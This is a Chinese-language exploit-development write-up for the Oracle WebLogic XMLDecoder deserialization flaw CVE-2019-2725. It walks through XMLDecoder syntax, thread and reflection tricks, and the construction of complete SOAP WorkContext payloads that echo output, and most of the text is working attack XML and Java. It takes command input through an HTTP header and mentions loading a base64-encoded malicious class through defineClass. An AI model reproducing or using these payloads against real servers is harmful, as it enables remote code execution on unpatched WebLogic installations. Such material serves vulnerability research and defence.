Github地址:
https://github.com/lufeirider/CVE-2019-2725XMLEncoder
通过一个小例子来理解xmldecoder解析的xml的语法,方便后面回显exp的构造。
java.io.BufferedWriter out = new java.io.BufferedWriter(new java.io.FileWriter("f:/1.txt")); String className = out.getClass().toString(); out.write(className); out.close();
<object class="java.io.BufferedWriter"> <object class="java.io.FileWriter"><string>f:/2.txt</string></object> <void property="class" id="class_property"></void> <object class="java.io.String"><object idref="class_property"><void method="toString" id="className"></void></object></object> <void method="write"><object idref="className"></object></void> <void method="close"></void> </object>
<object class="java.io.FileWriter"><string>f:/2.txt</string></object>
或者 <void class="java.io.FileWriter"><string>f:/2.txt</string></void>
在object或void标签之中的第一标签是值,用于初始化对象。
out.getClass().toString() <void method="getClass"><void method="toString" id="className"></void></void>
既在void之中的第一标签是void。
a.getxxx("xxx").toString() <void method="getxxx"> <string>xxx</string> <void method="toString"></void> </void>
既在void之中的第一标签是值,第二个标签是void。
out.write(className); out.close(); <void method="write"><object idref="className"></object></void> <void method="close"></void>
void属于并列关系。
<void property="class" id="class_property"></void>
,在这里获取使用 property
来获取属性,其实使用的就是getXXX()函数来获取
<void property="class" id="class_property"></void>
,这里在 void
中使用 id
进行标记,然后在 <void method="write"><object idref="className"></object></void>
中使用 idref
进行引用。
最后会在f盘中写入2.txt文件。
原理:获取当前线程,然后调用函数进行显示。
weblogic封装了很多线程,无法确认获取的是哪个线程类。可以通过报错的形式获取。
<void class="java.lang.Thread" method="currentThread"> <void method="xxxxxxx"></void> </void>
可以获取到的线程类是 ExecuteThread
。
但是有两个 ExecuteThread
,在不同包里面,可以使用weblogic.work.ExecuteThread中特有的getDate函数,发现没有报错。说明就是 weblogic.work.ExecuteThread
。
利用ServletResponse类的getWriter,然后输出。
PrintWriter pw = response.getWriter(); pw.write("hello");
或者利用ServletResponse类的getOutputStream进行输出。
response.getOutputStream().write("hello".getBytes("UTF-8"));
如果没有参考输出的代码,自己要找的话,其实比较困难,因为weblogic会有很多类有getWriter、getOutputStream函数(虽然后面发现也对response搞了getResponse函数)用于各种场景,很难找到正确的类,只能通过查看类名进行初步判断进行筛选,这个过程异常痛苦。(后面发现是可以通过查看是否实现了ServletResponse接口来判断,虽然类还是很多,但是比之前直接搜索函数少不少。)
而且就算找对了ServletResponseImpl,并且对getOutputStream下断点,还发现跟的是一个异步,没办法回显。(后面发现,对response下断点就可以跟踪到同步线程)
因为没有更好的思路,看了shack2的工具。不过也比较痛苦,没有java的源代码,只有xml,通过大量的测试终于找到了正确的类,成功下了断点。
server/lib/weblogic.jar!/weblogic/servlet/internal/ServletRequestImpl.class
weblogic.servlet.internal.ServletRequestImpl
getResponse
((ServletRequestImpl) this.getCurrentWork()).getResponse().getWriter().write("xxxxxxx")
,就会在返回包中看到返回xxxxxxx。
但是这样会存在问题,会提示。
原因是getOutputStream是字节流,getWriter是字符流,不统一,java源码提示的是,不能在getWriter后面调用getOutputStream。在谷歌过程中还产生一个疑问,说只能使用其中一种流。很奇怪,在构造回显的时候,先使用getOutputStream,再使用getWriter也是没问题的。
((ServletRequestImpl) this.getCurrentWork()).getResponse().getServletOutputStream().writeStream(new StringInputStream("xxxx")) ((ServletRequestImpl) this.getCurrentWork()).getResponse().getServletOutputStream().flush()
所以这里使用getOutputStream进行输出,虽然显示了结果,但是还是有其他的东西。
只要执行下面的东西,就会把结果覆盖掉为空。两种流是互相拼接起来。
((ServletRequestImpl) this.getCurrentWork()).getResponse().getWriter().write("")
再者要解决接受参数的问题,这个比较简单,因为接受参数就在返回函数的附近。从header头lufei接受参数。
((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lufei");
整合起来
String lfcmd = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("lfcmd"); weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse(); weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream(); outputStream.writeStream(new weblogic.xml.util.StringInputStream(lfcmd)); outputStream.flush(); response.getWriter().write("");
<void class="java.lang.Thread" method="currentThread"> <void method="getCurrentWork"> <void method="getResponse"> <void method="getServletOutputStream"> <void method="writeStream"> <object class="weblogic.xml.util.StringInputStream"><string>2222222222</string></object> </void> <void method="flush"/> </void> <void method="getWriter"><void method="write"><string></string></void></void> </void> </void> </void>
发现拿前面的回显不能用了。在cmd窗口报错显示 java.lang.NoSuchMethodException: <unbound>=ContainerSupportProviderImpl$WlsRequestExecutor.getResponse();
。我们在response下断点,然后关注是否在 weblogic.work.ExecuteThread
这个线程类中。
发现 getCurrentWork
获取的是 ContainerSupportProviderImpl$WlsRequestExecutor
类,这个类没有getResponse函数。
但是在 ContainerSupportProviderImpl$WlsRequestExecutor
类发现里面有一个属性,是能够获取到response的。
但是这个connectionHandler并没有getter,所以无法使用property="connectionHandler"属性,只能通过反射的方式去获取。只要能够getResponse后面流程差不多。
java.lang.reflect.Field field = ((weblogic.servlet.provider.ContainerSupportProviderImpl.WlsRequestExecutor)this.getCurrentWork()).getClass().getDeclaredField("connectionHandler"); field.setAccessible(true); HttpConnectionHandler httpConn = (HttpConnectionHandler) field.get(this.getCurrentWork()); httpConn.getServletRequest().getResponse().getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream("xxxxxx"));
转成xml
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.lang.Thread" method="currentThread"> <void method="getCurrentWork" id="current_work"></void> </void> <void class="java.lang.Thread" method="currentThread"> <void method="getCurrentWork"> <void method="getClass"> <void method="getDeclaredField" id="field"><string>connectionHandler</string></void> </void> </void> </void> <object idref="field"> <void method="setAccessible"> <boolean>true</boolean> </void> <void method="get" id="http_conn"> <object idref="current_work"></object> </void> </object> <object idref="http_conn"> <void method="getServletRequest"> <void method="getResponse"> <void method="getServletOutputStream"> <void method="writeStream"> <object class="weblogic.xml.util.StringInputStream"><string>33333333333333</string></object> </void> <void method="flush"/> </void> <void method="getWriter"><void method="write"><string></string></void></void> </void> </void> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
进行简化
<?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <void class="java.lang.Thread" method="currentThread"> <void method="getCurrentWork" id="current_work"> <void method="getClass"> <void method="getDeclaredField"> <string>connectionHandler</string> <void method="setAccessible"><boolean>true</boolean></void> <void method="get"> <object idref="current_work"></object> <void method="getServletRequest"> <void method="getResponse"> <void method="getServletOutputStream"> <void method="writeStream"> <object class="weblogic.xml.util.StringInputStream"><string>lufei test</string></object> </void> <void method="flush"/> </void> <void method="getWriter"><void method="write"><string></string></void></void> </void> </void> </void> </void> </void> </void> </void> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
最后一步,使用defineclass还原恶意class,这个类比较好的是可以把一个类变成一个模块,到处使用,非常nice。当然也可以不用这个类。我这里直接转成了base64,因为有现成的文件转换工具。具体代码请看github。
defineClass在java反序列化当中的利用
shack2 CVE-2017-10271反序列化工具